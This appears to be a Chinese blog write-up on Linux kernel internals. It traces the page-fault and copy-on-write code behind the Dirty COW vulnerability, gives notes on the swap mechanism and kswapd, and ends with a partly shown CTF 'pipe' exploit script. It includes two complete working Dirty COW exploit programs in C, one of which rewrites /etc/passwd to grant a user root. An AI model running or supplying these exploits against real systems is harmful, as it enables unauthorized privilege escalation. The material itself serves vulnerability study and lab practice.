/* hugetlb applies strict overcommit unless MAP_NORESERVE */
if (file && is_file_hugepages(file))
vm_flags |= VM_NORESERVE;
}

addr = mmap_region(file, addr, len, vm_flags, pgoff); /* 完成映射过程 */
if (!IS_ERR_VALUE(addr) &&
((vm_flags & VM_LOCKED) ||
(flags & (MAP_POPULATE | MAP_NONBLOCK)) == MAP_POPULATE))
*populate = len;
return addr;
}
  • 前面就是根据 flags 中的标志位进行一些设置
  • 后面进入 mmap_region 函数完成映射
  • 值得注意的一点是:如果没有设置 flag=MAP_POPULATE(提前建立页表的标志位),是不会建立页表项的
  • 也就是说,当后续的 write 读取该 VMA 对应的地址空间时,会触发缺页异常 page_fault

page_fault 可能有多种原因:

  • 访问地址不在虚拟地址空间
  • 访问地址在虚拟地址空间中,但没有访问权限
  • 访问地址在虚拟地址空间中,但没有与物理地址间建立映射关系

Linux 内核关于 page_fault 的处理是通过一系列系统调用函数实现的:

1
do_page_fault() -> handle_mm_fault() -> handle_pte_fault() -> do_fault()
  • do_page_fault:会检查多种异常原因,比如缺页异常的地址在内核空间还是用户空间,是内核态还是用户态触发的异常等等情况
  • handle_mm_fault:为发生 page_fault 的地址分配各级页表目录
  • handle_pte_fault:从上层函数得到了缺页异常的 pte(页表项),然后做多层检查
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
static int handle_pte_fault(struct mm_struct *mm,
struct vm_area_struct *vma, unsigned long address,
pte_t *pte, pmd_t *pmd, unsigned int flags)
{
pte_t entry;
spinlock_t *ptl;
entry = *pte;
barrier();
if (!pte_present(entry)) { /* pte所指向的物理地址不存在 */
if (pte_none(entry)) { /* pte中内容为空,表示进程第一次访问该页 */
if (vma->vm_ops)
return do_fault(mm, vma, address, pte, pmd,
flags, entry); /* 非匿名区域,分配物理页框 */

return do_anonymous_page(mm, vma, address, pte, pmd,
flags); /* vma为匿名区域,分配物理页框,初始化为全'0' */
}
return do_swap_page(mm, vma, address,
pte, pmd, flags, entry); /* 说明该页之前存在于主存中,但是被Swap机制换出了,于是再次换回即可 */
}

if (pte_protnone(entry)) /* pte所指向的物理地址存在,即该页在物理内存中 */
return do_numa_page(mm, vma, address, entry, pte, pmd);

ptl = pte_lockptr(mm, pmd);
spin_lock(ptl);
if (unlikely(!pte_same(*pte, entry)))
goto unlock;
if (flags & FAULT_FLAG_WRITE) {
if (!pte_write(entry)) /* 对应的页不可写 */
return do_wp_page(mm, vma, address,
pte, pmd, ptl, entry); /* 进行写时复制,将内容写到副本页面上 */
entry = pte_mkdirty(entry); /* 对应的页可写,将该页"标脏" */
}
entry = pte_mkyoung(entry);
if (ptep_set_access_flags(vma, address, pte, entry, flags & FAULT_FLAG_WRITE)) {
update_mmu_cache(vma, address, pte);
} else {
if (flags & FAULT_FLAG_WRITE) /* 如果存在FAULT_FLAG_WRITE标志位,表示缺页异常由写操作引起 */
flush_tlb_fix_spurious_fault(vma, address);
}
unlock:
pte_unmap_unlock(pte, ptl);
return 0;
}
  • 如果该 pte 不在物理内存中
    • 如果 pte 为空,说明进程第一次访问该页面
      • 如果 vma 属性是匿名映射(没有真实的磁盘文件与该地址对应)
      • 如果 vma 不是匿名,说明是文件映射,进入 do_fault 函数
    • 如果 pte 不为空,说明该页此前访问过,但是被换出了,只需要再换入即可
    • PS:pte 既可以索引到内存中的物理页,也可以索引交换区描述符 swap_info_structswap_info 数组的下标,以及在 swap_map 中的偏移量
  • 如果该 pte 在物理内存中,说明此次 page_fault 不是页面缺失引起,检查是否由写操作引起
    • 页面不可写,进入 do_wp_page 进行 COW 操作
    • 页面可写,标记 dirty
  • do_fault:检查各种标志位,根据不同的情况调用不同的函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pte_t *page_table, pmd_t *pmd,
unsigned int flags, pte_t orig_pte)
{
pgoff_t pgoff = (((address & PAGE_MASK)
- vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff;

pte_unmap(page_table);
/* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */
if (!vma->vm_ops->fault)
return VM_FAULT_SIGBUS;
if (!(flags & FAULT_FLAG_WRITE)) /* 非写操作引起的缺页异常(读操作) */
return do_read_fault(mm, vma, address, pmd, pgoff, flags,
orig_pte);
if (!(vma->vm_flags & VM_SHARED)) /* 非访问共享内存(私有文件映射)引起的缺页异常(写操作) */
return do_cow_fault(mm, vma, address, pmd, pgoff, flags,
orig_pte); /* 进行写时复制,缺页的COW处理函数 */
return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); /* 访问共享内存引起的缺页异常 */
}

Dirty Cow 漏洞就源自于内核对 Cow 的处理不当,这里我们重点关注以下函数:

  • do_wp_page:不缺页的 COW 处理函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
static int do_wp_page(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pte_t *page_table, pmd_t *pmd,
spinlock_t *ptl, pte_t orig_pte)
__releases(ptl)
{
struct page *old_page;

old_page = vm_normal_page(vma, address, orig_pte);
if (!old_page) { /* 当old_page是NULL时 */
if ((vma->vm_flags & (VM_WRITE|VM_SHARED)) ==
(VM_WRITE|VM_SHARED))
return wp_pfn_shared(mm, vma, address, page_table, ptl,
orig_pte, pmd);

pte_unmap_unlock(page_table, ptl);
return wp_page_copy(mm, vma, address, page_table, pmd,
orig_pte, old_page);
}

if (PageAnon(old_page) && !PageKsm(old_page)) { /* 先处理匿名页面 */
if (!trylock_page(old_page)) {
page_cache_get(old_page);
pte_unmap_unlock(page_table, ptl);
lock_page(old_page);
page_table = pte_offset_map_lock(mm, pmd, address,
&ptl);
if (!pte_same(*page_table, orig_pte)) {
unlock_page(old_page);
pte_unmap_unlock(page_table, ptl);
page_cache_release(old_page);
return 0;
}
page_cache_release(old_page);
}
/* 调用reuse_swap_page判断使用该页的是否只有一个进程,若是的话就直接重用该页 */
if (reuse_swap_page(old_page)) {
page_move_anon_rmap(old_page, vma, address);
unlock_page(old_page);
return wp_page_reuse(mm, vma, address, page_table, ptl,
orig_pte, old_page, 0, 0); /* 一般的cow流程会走到这里,重用由do_cow_fault分配好的内存页副本 */
}
unlock_page(old_page);
} else if (unlikely((vma->vm_flags & (VM_WRITE|VM_SHARED)) ==
(VM_WRITE|VM_SHARED))) {
return wp_page_shared(mm, vma, address, page_table, pmd,
ptl, orig_pte, old_page);
}

page_cache_get(old_page);

pte_unmap_unlock(page_table, ptl);
return wp_page_copy(mm, vma, address, page_table, pmd,
orig_pte, old_page);
}
  • do_cow_fault:缺页的 COW 处理函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
static int do_cow_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd,
pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
{
struct page *fault_page, *new_page;
struct mem_cgroup *memcg;
spinlock_t *ptl;
pte_t *pte;
int ret;

if (unlikely(anon_vma_prepare(vma)))
return VM_FAULT_OOM;

new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address); /* 分配新物理页 */
if (!new_page)
return VM_FAULT_OOM;

if (mem_cgroup_try_charge(new_page, mm, GFP_KERNEL, &memcg)) {
page_cache_release(new_page);
return VM_FAULT_OOM;
}

ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page); /* 查找原始映射页 */
if (unlikely(ret & (VM_FAULT_ERROR | VM_FAULT_NOPAGE | VM_FAULT_RETRY)))
goto uncharge_out;

if (fault_page)
copy_user_highpage(new_page, fault_page, address, vma); /* 拷贝fault_page内容到new_page */
__SetPageUptodate(new_page);

pte = pte_offset_map_lock(mm, pmd, address, &ptl);
if (unlikely(!pte_same(*pte, orig_pte))) {
pte_unmap_unlock(pte, ptl);
if (fault_page) {
unlock_page(fault_page);
page_cache_release(fault_page);
} else {
i_mmap_unlock_read(vma->vm_file->f_mapping);
}
goto uncharge_out;
}
do_set_pte(vma, address, new_page, pte, true, true); /* 设置pte表项 */
mem_cgroup_commit_charge(new_page, memcg, false);
lru_cache_add_active_or_unevictable(new_page, vma);
pte_unmap_unlock(pte, ptl);
if (fault_page) {
unlock_page(fault_page);
page_cache_release(fault_page);
} else {
i_mmap_unlock_read(vma->vm_file->f_mapping);
}
return ret;
uncharge_out:
mem_cgroup_cancel_charge(new_page, memcg);
page_cache_release(new_page);
return ret;
}
  • wp_page_reuse:重用由 do_cow_fault 分配好的内存页副本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
static inline int wp_page_reuse(struct mm_struct *mm,
struct vm_area_struct *vma, unsigned long address,
pte_t *page_table, spinlock_t *ptl, pte_t orig_pte,
struct page *page, int page_mkwrite,
int dirty_shared)
__releases(ptl)
{
pte_t entry;
if (page)
page_cpupid_xchg_last(page, (1 << LAST_CPUPID_SHIFT) - 1);

flush_cache_page(vma, address, pte_pfn(orig_pte));
entry = pte_mkyoung(orig_pte);
/* 设置pte的dirty位,如果VMA是可写的,还会给pte标记可写 */
entry = maybe_mkwrite(pte_mkdirty(entry), vma);
if (ptep_set_access_flags(vma, address, page_table, entry, 1))
update_mmu_cache(vma, address, page_table);
pte_unmap_unlock(page_table, ptl);

if (dirty_shared) {
struct address_space *mapping;
int dirtied;

if (!page_mkwrite)
lock_page(page);

dirtied = set_page_dirty(page);
VM_BUG_ON_PAGE(PageAnon(page), page);
mapping = page->mapping;
unlock_page(page);
page_cache_release(page);

if ((dirtied || page_mkwrite) && mapping) {
balance_dirty_pages_ratelimited(mapping);
}

if (!page_mkwrite)
file_update_time(vma->vm_file);
}

return VM_FAULT_WRITE; /* 这个标志表示已经做好了COW,这个页面可以写入 */
}

接下来就重点分析一下 write 函数写入 VMA 对应地址的过程:

  • 前面分析到,程序执行 mmap 生成 VMA 结构体是只读的,并且没有设置页表项
  • 接下来 write 的调用链如下:
1
sys_write -> ... -> mem_rw -> ... -> copy_to_user -> __get_user_pages
  • 这里我们只需要关注最后一个函数 __get_user_pages
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking)
{
......
retry:
if (unlikely(fatal_signal_pending(current)))
return i ? i : -ERESTARTSYS;
cond_resched(); /* 主动让出cpu资源,防止其在内核态执行时间过长导致可能发生的soft lockup或者造成较大的调度延迟 */
page = follow_page_mask(vma, start, foll_flags, &page_mask); /* 获取page */
if (!page) {
int ret;
ret = faultin_page(tsk, vma, start, &foll_flags,
nonblocking); /* 处理page_fault */
switch (ret) { /* 对返回值进行处理 */
case 0:
goto retry;
case -EFAULT:
case -ENOMEM:
case -EHWPOISON:
return i ? i : ret;
case -EBUSY:
return i;
case -ENOENT:
goto next_page;
}
BUG();
}
......
}
EXPORT_SYMBOL(__get_user_pages);
  • 如果页面 page 不存在则会调用 faultin_page 处理异常页:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
unsigned long address, unsigned int *flags, int *nonblocking)
{
......

if (*flags & FOLL_WRITE)
fault_flags |= FAULT_FLAG_WRITE;

......

ret = handle_mm_fault(mm, vma, address, fault_flags); /* 为发生page_fault的地址分配各级页表目录 */

......
/* 为了结束上层函数的retry循环,解决page_fault,在确定已经完成COW操作后(通过VM_FAULT_WRITE标志确定),会解除FOLL_WRITE(写请求)标志 */
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
return 0;
}
  • 设置完标志 flag 后,进入 handle_mm_fault,分配各级页表项

第一次处理 page_fault 的流程如下:

  • 用户态函数 write 执行到内核中的 __get_user_pages 时,会因为 mmap 没有为 VMA 设置页表而调用 faultin_page 来处理 page_fault
  • 然后依次调用 handle_mm_faulthandle_pte_fault
  • 此时 pte 索引的物理地址不存在,pte 中的内容为空(没有设置页表项),VMA 地址是非匿名映射,所以会调用 do_fault
  • 由于触发 page_fault 的原因为 write 函数的“写缺页”,因此会调用 do_cow_fault 进行写时复制:分配一个新页面作为文件映射内存的副本页(只读),并建立 COW 页的页表项
  • 跳转回到 retry

第二次处理 page_fault 的流程如下:

  • 程序第二次执行 follow_page_mask 时因为分配了属性为不可写的 COW 页而,从而继续调用 faultin_page 来处理 page_fault
  • 然后依次调用 handle_mm_faulthandle_pte_fault
  • 此时 pte 所指向的物理地址存在(COW 分配了页表),对应的 COW 页不可写,因此程序会调用 do_wp_page 进行写时复制
  • 由于第一次 faultin_page 执行 do_cow_fault 时已经分配了副本页,因此会直接调用 wp_page_reuse 重用这个页(COW 分配的页面属于匿名页),并返回 VM_FAULT_WRITE
  • 返回到 faultin_page 中时,由于返回了 VM_FAULT_WRITE 标志,表示已经完成了 COW 页的分配,但是注意到此时 COW 页时只读的,如果我们再次进入 follow_page_mask,那么写和只读会冲突,又会返回 NULL,这样就会陷入 retry 的循环
  • Linux 为了防止该冲突,选择在 faultin_page 函数的最后,检查 VM_FAULT_WRITE 标志以确定完成了 COW 操作,然后去掉了 COW 页的 FOLL_WRITE 标志使其可以写入
1
2
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
  • 跳转回到 retry

第三次处理 page_fault 的正常流程如下:

  • 由于之前去掉了 FOLL_WRITE 标志,因此不会检查 PTE 有没有写入权限,因此第三次执行 follow_page_mask 将会返回 COW 页
  • 退出 retry 循环,在 COW 页上执行 write 的剩余工作

第三次处理 page_fault 的异常流程如下:(触发 COW)

  • 如果我们在第二次 faultin_page 函数去掉 flags 里的 FOLL_WRITE 标志之后,通过竞争条件,执行 madvice 函数清空页表项(在 get_user_page 里有一步 cond_resched 线程调度操作,提供了条件竞争的机会)
  • 线程调度结束,返回 write 线程,又会重新进入 follow_page_mask 然后因为 pte 被清空导致缺页,函数返回 NULL,再次进入 faultin_page,然后会一直运行到 do_fault,此时不再要求写入权限,因此程序就会认为触发页中断的原因是“读缺页”,所以会执行 do_read_fault 函数,建立文件映射页的页表项
  • 注意:此时的可写页为 COW 页,但是该 COW 页的页表项却索引到了文件映射页所在的物理内存地址,操纵该 COW 页其实就相当于直接控制文件映射页
  • 接着从 do_fault 返回到 handle_pte_fault 中,检查到页面可写,从而给页面标记 dirty
  • 随后回到 retry

第四次处理 page_fault 的流程如下:

  • 第四次进入 follow_page_mask,不要求写权限,从而成功返回映射到文件的 COW 页(已经标记为 dirty,表示该页可以写入磁盘)
  • 在文件映射页上执行 write 的剩余工作(此时虽然该映射页只读,但是内核还是可以强制写入,完成越权写操作)

参考:脏牛(Dirty COW)漏洞攻击实验(SEED-Lab:Dirty-COW Attack Lab)

Dirty Cow 漏洞复现

1.修改服务器上 flag 文件的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<1000000;i++)
{
c+=madvise(map,100,MADV_DONTNEED); /* 取消map的映射 */
}
printf("madvise %d\n",c);
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR); /* 打开mem文件 */
int i,c=0;
for(i=0;i<1000000;i++) {
lseek(f,(uintptr_t) map,SEEK_SET); /* 偏移到map映射的区域 */
c+=write(f,str,strlen(str)); /* 写入目标字符串 */
}
printf("procselfmem %d\n", c);
printf("success!!!\n");
}

int main(int argc,char *argv[])
{
if (argc<3) {
(void)fprintf(stderr, "%s\n",
"usage: dirtyc0w target_file new_content");
return 1; }
pthread_t pth1,pth2;

f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); /* 把文件映射到map指向的内存区域 */
printf("mmap %zx\n",(uintptr_t) map);

pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);

pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}
  • 结果如下:
1
2
3
4
5
6
7
8
9
/ $ cat flag
flag{yhellow}
/ $ ./dirtyc0w flag flag{cooooow}
mmap b7784000
madvise 0
procselfmem 13000000
success!!!
/ $ cat flag
flag{cooooow}

调试内核选用32位的 linux-4.1.4(quem 对64位 linux-4.x 的内核兼容性不是很好,尝试了好几个版本都失败了)

  • 断点到 do_page_fault
1
2
3
4
5
6
7
  0xc1041600 <do_page_fault>            push   ebp
0xc1041601 <do_page_fault+1> mov ebp, esp
0xc1041603 <do_page_fault+3> mov ecx, cr2
0xc1041606 <do_page_fault+6> call __do_page_fault <__do_page_fault>
arg[0]: 0xf4d33fa8 —▸ 0xf54bff48 —▸ 0xf54bff54 —▸ 0xf54bff6c —▸ 0xf54bffac ◂— ...
arg[1]: 0xc1825eca (page_fault+98) ◂— jmp 0xc1824f90
arg[2]: 0xbffffffd
  • 由于本人不会调试内核多线程,后面的操作就没法展示了

2.修改 /etc/passwd 中用户的 uid 和组 id 来实现提权:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;

void *writeThread(void *arg)
{
/* 改写passwd文件实现提权 */
char *content= "charlie:x:0:0:,,,,,,,,,,,,,,,,,,:/root:/bin/bash";
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
while(1) {
lseek(f, offset, SEEK_SET);
write(f, content, strlen(content));
}
}

void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}

int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;

int f=open("/etc/passwd", O_RDONLY);

fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

char *position = strstr(map, "yhellow"); /* 找到对应的用户名位置 */
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);

pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}

Linux Swap机制

在 Linux 下,当物理内存不足时,拿出部分硬盘空间当 Swap 分区(也被称为“虚拟内存”,从硬盘中划分出的一个分区),从而解决内存容量不足的情况

  • Swap 意思是交换, 当物理内存不够用的时候,内核就会释放缓存区(buffers/cache)里一些长时间不用的程序,然后将这些程序临时放到 Swap 中
  • Swap Out:当某进程向OS请求内存发现不足时,OS会把内存中暂时不用的数据交换出去,放在 SWAP 分区中
  • Swap In:当某进程又需要这些数据且OS发现还有空闲物理内存时,又会把 Swap 分区中的数据交换回物理内存中

Linux 操作系统使用如下这几种机制来检查系统内存是否需要进行页面回收:

  • 周期回收:
    • 这是由后台运行的守护进程 kswapd 完成的
    • 该进程定期检查当前系统的内存使用情况,当发现系统内空闲的物理页面数目少于特定的阈值时,该进程就会发起页面回收的操作
  • 内存紧缺回收:
    • 操作系统忽然需要通过伙伴系统为用户进程分配一大块内存,或者需要创建一个很大的缓冲区,而当时系统中的内存没有办法提供足够多的物理内存以满足这种内存请求
    • 这时候,操作系统就必须尽快进行页面回收操作,以便释放出一些内存空间从而满足上述的内存请求
    • 这种页面回收方式也被称作“直接页面回收”
  • 睡眠回收:
    • 在进程进入 suspend-to-disk(休眠)状态时,内核必须释放内存

如果 Linux 在进行了内存回收操作之后仍然无法回收到足够多的页面以满足上述内存要求,那么操作系统只有最后一个选择,那就是使用 OOM(out of memory) killer,它从系统中挑选一个最合适的进程杀死它,并释放该进程所占用的所有页面

Linux 内核的页面回收算法为 PFRA

  • PFRA 采取从用户态进程和内核高速缓存“窃取”页框的办法补充伙伴系统的空闲块列表
  • PFRA 的目标之一就是保存最少的空闲页到磁盘,以便内核可以安全地从“内存紧缺”的情形中恢复过来

PFRA 需要做的第一件事情就是明确:哪些页面可以被 Swap,哪些又不能

于是 PFRA 按照页框所含内容,以不同的方式处理页框:

  • 不可回收页:不允许也无需回收
    • 空闲页(包含在子伙伴系统表列中)
    • 保留页(PG_reserved 标志置位)
    • 内核动态分配页
    • 进程内核态堆栈页
    • 临时锁定页(PG_locked 标志置位)
    • 内存锁定页(VM_LOCKED 标志置位,并且在先行区中)
  • 可回收页:可以将该页的内存保存在 Swap 交换区(作为 “虚拟内存” 的磁盘区域)
    • 用户态地址空间的匿名页
    • tmpfs 文件系统的映射页(例如:POSIX 接口中 IPC 共享内存的页)
  • 可同步页:必要时,与磁盘镜像同步这些页
    • 用户态地址空间的映射页
    • 存有磁盘文件数据,并且在页高速缓存中的页
    • 块设备缓冲区页
    • 某些磁盘的高速缓存页(例如:索引节点高速缓存)
  • 可丢弃页:无需操作
    • 内存高速缓存中的未使用页(例如:Slab 分配器高速缓存)
    • 目录中高速缓存的未使用页

Swap 基础结构

每一个活动的交换区都会由一个 swap_info_struct 结构体进行描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
struct swap_info_struct {
unsigned long flags; /* SWP_USED etc: see above */
signed short prio; /* swap priority of this type */
struct plist_node list; /* entry in swap_active_head */
struct plist_node avail_lists[MAX_NUMNODES];/* entry in swap_avail_heads */
signed char type; /* strange name for an index */
unsigned int max; /* extent of the swap_map */
unsigned char *swap_map; /* 一个非常大的数组,其中的每项都对应了一个交换区的一个槽(交换项)的引用计数 */
struct swap_cluster_info *cluster_info; /* cluster info. Only for SSD */
struct swap_cluster_list free_clusters; /* free clusters list */
unsigned int lowest_bit; /* index of first free in swap_map */
unsigned int highest_bit; /* index of last free in swap_map */
unsigned int pages; /* total of usable pages of swap */
unsigned int inuse_pages; /* number of those currently in use */
unsigned int cluster_next; /* 交换文件当前的偏移量 */
unsigned int cluster_nr; /* 交换区中已经分配的页面数 */
struct percpu_cluster __percpu *percpu_cluster; /* per cpu's swap location */
struct swap_extent *curr_swap_extent;
struct swap_extent first_swap_extent;
struct block_device *bdev; /* swap device or bdev of swap file */
struct file *swap_file; /* seldom referenced */
unsigned int old_block_size; /* seldom referenced */
#ifdef CONFIG_FRONTSWAP
unsigned long *frontswap_map; /* frontswap in-use, one bit per page */
atomic_t frontswap_pages; /* frontswap pages in-use counter */
#endif
spinlock_t lock; /*
* protect map scan related fields like
* swap_map, lowest_bit, highest_bit,
* inuse_pages, cluster_next,
* cluster_nr, lowest_alloc,
* highest_alloc, free/discard cluster
* list. other fields are only changed
* at swapon/swapoff, so are protected
* by swap_lock. changing flags need
* hold this lock and swap_lock. If
* both locks need hold, hold swap_lock
* first.
*/
spinlock_t cont_lock; /*
* protect swap count continuation page
* list.
*/
struct work_struct discard_work; /* discard worker */
struct swap_cluster_list discard_clusters; /* discard clusters list */
};

系统会把这些 swap_info_struct 存放在一个 swap_info 数组中:

1
struct swap_info_struct *swap_info[MAX_SWAPFILES];

每个交换区在磁盘上都划分出大量一页大小的槽,第一个槽存放有交换区的基本信息,在内核中由一个 swap_header 联合体进行表示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
union swap_header {
struct {
char reserved[PAGE_SIZE - 10];
char magic[10]; /* SWAP-SPACE or SWAPSPACE2 */
} magic;
struct {
char bootbits[1024]; /* Space for disklabel etc. */
__u32 version;
__u32 last_page;
__u32 nr_badpages;
unsigned char sws_uuid[16];
unsigned char sws_volume[16];
__u32 padding[117];
__u32 badpages[1];
} info;
};

Linux 将磁盘中的 SWAPFILE_CLUSTER 个页分配到一个簇中

1
2
3
4
5
6
#ifdef CONFIG_THP_SWAP
#define SWAPFILE_CLUSTER HPAGE_PMD_NR

#define swap_entry_size(size) (size)
#else
#define SWAPFILE_CLUSTER 256
  • swap_info_struct->cluster_nr 中记录“交换区中已经分配的页面数”
  • swap_info_struct->cluster_next 中记录“交换文件当前的偏移量”

映射页表项到交换区

当一个页面被交换出时,Linux 使用相应的页表项 PTE 来存放用于再次从磁盘上定位该页的信息:

  • PTE 本身不能直接精准保存交换页面的位置信息
  • PTE 只需要存放交换槽在 swap_info 数组的下标,以及在 swap_map 中的偏移量

通过如下两个函数进行转换:

1
2
static inline swp_entry_t pte_to_swp_entry(pte_t pte)
static inline pte_t swp_entry_to_pte(swp_entry_t entry)

交换区高速缓存 Swap Tcache

Linux 无法快速完成从 PTE 引用到页面结构的转化,因此,多线程共享页面不能简单地取出

为了解决这个问题,共享页会在内存中保留一个槽,作为高速缓存的一部分

Linux 回收平衡

Linux 页面回收,并不是回收得越多越好,而是力求达到一种平衡(内存 Swap 是需要代价的)

物理内存在 Kernel 中主要有这么几个层次的划分:

  • 全体内存
  • 一个 NUMA 节点的内存
  • 一个 NUMA 节点中的一个 zone 的内存

维护空闲页面的伙伴系统和维护可回收页面的 LRU 都工作在 zone 这一层,所以具体的内存回收操作也是在 zone 层进行的

Kernel 中追求的平衡并不针对全体内存,而是针对每一个 NUMA 节点的内存而言的:

  • NUMA 系统中的每一个节点都是并列的,统一考虑整体的平衡其实没什么意义
  • 所以对应于系统中的每个 NUMA 节点都会有一个 kswapd 线程来进行平衡

单个 NUMA 节点的内存的平衡由 pgdat_balanced 函数来判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static bool pgdat_balanced(pg_data_t *pgdat, int order, int classzone_idx)
{
int i;
unsigned long mark = -1;
struct zone *zone;

for (i = 0; i <= classzone_idx; i++) {
zone = pgdat->node_zones + i;

if (!managed_zone(zone))
continue;

mark = high_wmark_pages(zone);
if (zone_watermark_ok_safe(zone, order, mark, classzone_idx))
return true;
}

if (mark == -1)
return true;

return false;
}
  • 函数 pgdat_balanced 需要两个重要的指标:
    • classzone_idx:用于确定一种类型的 zone
    • order:用于确定一对伙伴页的大小

classzone_idx

在 Kernel 中,一个 NUMA 节点的内存被分成若干个 zone(区分依据为簇到处理器的“距离”),一个 zone 用于表示内存中的某个范围,在 Linux 中由下标 classzone_idx 来进行索引:

  • 这些 zone 下标越大,zone 里的内存使用范围就越小
  • 小下标 zone 的内存用途总是包含大下标 zone 的
  • 因此大下标的 zone 显得更加“不通用”

于是在进行内存分配的时候,总是会优先尝试在 classzone_idx 最大的 zone 里面的去分配,不行再尝试 classzone_idx 更小的 zone

order

zone 里面的内存是用伙伴系统来管理的,伙伴系统里面有很多个 freelist,分别是 2^n 个连续页面的空闲链表

  • order 就代表这里的 n,order 越大,意味着需要越多的连续页面
  • order 对小 order 也是有包含关系的
  • order 的连续内存其实并不是那么容易就回收到的

于是伙伴系统会尽量避免分裂大 order 的连续内存,碎片化的小 order 内存会成为优先分配的目标

kswapd 线程

kswapd 是 Linux 中用于页面回收的内核线程,拥有如下特性:

  • kswapd 线程每100毫秒起来工作一次,或者由于别的进程分配内存失败,而被唤醒
  • kswapd 每次工作都有一个 orderclasszone_idx 作为目标
  • kswapd 如果主动工作,order 总是“0”,classzone_idx 总是最大的 zone

其实 kswapd 的任务就是让每一个 zone 的空闲内存都超过高水位,至于页面在各个 order 间的平衡分布就不用管

对于 kswapd 拿到的 order,所以如果达不到平衡分布,就还得继续回收以及尝试小 order 向大 order 的组装

参考:linux kswapd浅析

pipe

1
2
3
4
5
6
pipe: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d5d6c196bf2c85c2c624a610ec541382acc30bb0, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
case 6:
close(fd);
system("./ctf.sh");
break;
  • "./ctf.sh" 中写 cat flag 就可以了

入侵思路

可以先把 cat flag 写入管道,然后把 pipe_buffer 中的数据写入 "./ctf.sh"

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

arch = 64
challenge = './pipe'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.27.so')

local = 1
if local:
p = process(challenge)
else:
p = remote('172.16.159.33','45715')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x16D7)\n")
pause()

def cmd(i):
p.sendlineafter("cmd>>>\n",str(i))

def read_from_pipe():
cmd(1)

